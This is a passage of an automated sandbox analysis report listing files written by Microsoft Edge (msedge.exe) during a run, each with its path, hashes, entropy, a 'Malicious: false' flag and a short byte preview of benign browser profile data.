Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2694f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28ec9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34799.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a8b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5953617101674533
Encrypted:	false
SSDEEP:	12:TLyeuAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isx0zydgXzA7d4Ux5zAp:TLyXOUOq0afDdWec9sJfjMdq7Q7J5fc
MD5:	497587C240CD4B0081208D6C3EE7C596
SHA1:	E04F0AD9AC312C64BE418CB8B42B84EE05BFCA9C
SHA-256:	6F42BE9C5CFF7FE24DBB3D66EA70CDBF4A463133387241D3BAE58AD8DC29E507
SHA-512:	84DD20F2AD3DB7CC50335B7C74A24BB1759E064A7275F5B2EBC44B4AB755B01D5F6F79891E772CA0D415824F2D193D96D273B6A380A228FA640950A0327C6914
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036561
Entropy (8bit):	4.001532606675982
Encrypted:	false
SSDEEP:	49152:lMrm/fjZR56FFN/nUg5bWgUS4AuGTVd0KdK+4R3uBfNvh28ppyBiJLIgwYKaJaDQ:M
MD5:	C7A0D8C785E6972FE0E249B32561FD89
SHA1:	852746987EDB20903CFFF4398B62896903E13902
SHA-256:	B616344F22275923D028CEB54D1173E5DB1D54AF5B90F31DE3F6BA11F77FA465
SHA-512:	BED1F1EB3B1EFA66EFE6283A88716DA4B1B6F3460E46C31941DFEBACEEC30C9667AB0BD43624145DAAF4B3C387DD1863292B528D9278882784567B282ED55973
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036561
Entropy (8bit):	4.001532606675982
Encrypted:	false
SSDEEP:	49152:lMrm/fjZR56FFN/nUg5bWgUS4AuGTVd0KdK+4R3uBfNvh28ppyBiJLIgwYKaJaDQ:M
MD5:	C7A0D8C785E6972FE0E249B32561FD89
SHA1:	852746987EDB20903CFFF4398B62896903E13902
SHA-256:	B616344F22275923D028CEB54D1173E5DB1D54AF5B90F31DE3F6BA11F77FA465
SHA-512:	BED1F1EB3B1EFA66EFE6283A88716DA4B1B6F3460E46C31941DFEBACEEC30C9667AB0BD43624145DAAF4B3C387DD1863292B528D9278882784567B282ED55973
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a0327644-ed3b-41e2-9d87-9fc818c4669f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44695
Entropy (8bit):	6.095110693932145
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khFKKGf4iDPaw6RRzakN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynyMN7VLyMV/YoskFoz
MD5:	33AB00B593377A2C0FB3BD78371BC918
SHA1:	B88841E43341FBAD79186030ECC4C89228CA4DFB
SHA-256:	6AD5DAC6FCA081FC80F952F6BAB7DAE322321070C041D3277BFF6FA0E7D18900
SHA-512:	E77E204A3913575704B44C3402F231ACDBC2F63DE2701EB221D39484FAE2A846994FFFE44BC58014F81AC8C2032744B5694E034333E50E1C6C922D5A294902F5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a3545e08-9717-4b81-9718-45327a1e64ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45665
Entropy (8bit):	6.086690263381721
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5dauuKKGf4iDdmwA9zjOrOYh/CioF7DRo+yM/42cRaLMos7O:cMk1rT8H1awJrFFoF7VLyMV/Yosy
MD5:	A2495492EBC713FCE7F7E18A3E40D050
SHA1:	6C3D2447C1DE6F96F152094997DF4EA1AAB0011D
SHA-256:	3D730AAB772F9B144DBB8B9291FD6A0ED3A4B852EE008E40CE9CF02F91EE719E
SHA-512:	BEE84231A627681346B5CCB1ACD1EF34D181661138150CF0F0CD34E25710075F3CD91A434BC6BB490B899F815817282258D34C969781F414945B8AF8DADE7CFF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c304db41-216f-44fb-8d42-f8c12c404e44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44751
Entropy (8bit):	6.094632451451444
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x7FKKGf4iDdmwA9zjON7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yOMJN7VLyMV/YoskFoz
MD5:	021A48ADE169A1BC276FA21C679FD63A
SHA1:	2D0EAB8043D0562DCFA728415289B7ABC0ACF46A
SHA-256:	F00B4CB9C2DC3D9B29337671BE4935E482C0091A080FF0BA5D5EC471AB1050B7
SHA-512:	59948381F7B6F469D65720F1A4A185132DE965F9E6207A763F81A2AF9DD5D3D0C2D22C10CDEE9F819A190D394400FD4502DD6EDD1F81B1F397D65CB91DE135CF
Malicious:	false
